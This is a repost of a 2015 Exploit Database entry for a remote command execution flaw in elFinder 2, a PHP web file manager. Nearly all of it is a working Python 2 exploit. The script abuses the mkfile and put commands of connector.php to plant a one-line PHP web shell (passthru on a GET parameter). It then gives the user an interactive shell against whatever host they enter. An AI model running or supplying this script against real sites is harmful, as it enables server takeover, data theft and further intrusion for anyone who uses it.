elFinder 2 – Remote Command Execution (via File Creation)

• Exploit Database
• 115 阅读

• 作者： TUNISIAN CYBER
  日期： 2015-05-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36925/
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  #[+] Author: TUNISIAN CYBER #[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability #[+] Date: 06-05-2015 #[+] Vendor: https://github.com/Studio-42/elFinder #[+] Type: WebAPP #[+] Tested on: KaliLinux (Debian) #[+] Twitter: @TCYB3R #[+] Time Line: #03-05-2015:Vulnerability Discovered #03-05-2015:Contacted Vendor #04-05-2015:No response #05-05-2015:No response #06-05-2015:No response #06-05-2015:Vulnerability published   import cookielib, urllib import urllib2 import sys   print"\x20\x20+-------------------------------------------------+" print"\x20\x20| elFinder Remote Command Execution Vulnerability |" print"\x20\x20| TUNISIAN CYBER|" print"\x20\x20+-------------------------------------------------+"     host = raw_input(&apos;\x20\x20Vulnerable Site:&apos;) evilfile = raw_input(&apos;\x20\x20EvilFileName:&apos;) path=raw_input(&apos;\x20\x20elFinder s Path:&apos;)     tcyber = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))   create = opener.open(&apos;http://&apos;+host+&apos;/&apos;+path+&apos;/php/connector.php?cmd=mkfile&name=&apos;+evilfile+&apos;&target=l1_Lw&apos;) #print create.read()   payload = urllib.urlencode({ &apos;cmd&apos; : &apos;put&apos;, &apos;target&apos; : &apos;l1_&apos;+evilfile.encode(&apos;base64&apos;,&apos;strict&apos;), &apos;content&apos; : &apos;<?php passthru($_GET[\&apos;cmd\&apos;]); ?>&apos; })   write = opener.open(&apos;http://&apos;+host+&apos;/&apos;+path+&apos;/php/connector.php&apos;, payload) #print write.read() print &apos;\n&apos; while True: try: cmd = raw_input(&apos;[She3LL]:~# &apos;)   execute = opener.open(&apos;http://&apos;+host+&apos;/&apos;+path+&apos;/admin/js/plugins/elfinder/files/&apos;+evilfile+&apos;?cmd=&apos;+urllib.quote(cmd)) reverse = execute.read() print reverse;   if cmd.strip() == &apos;exit&apos;: break   except Exception: break   sys.exit()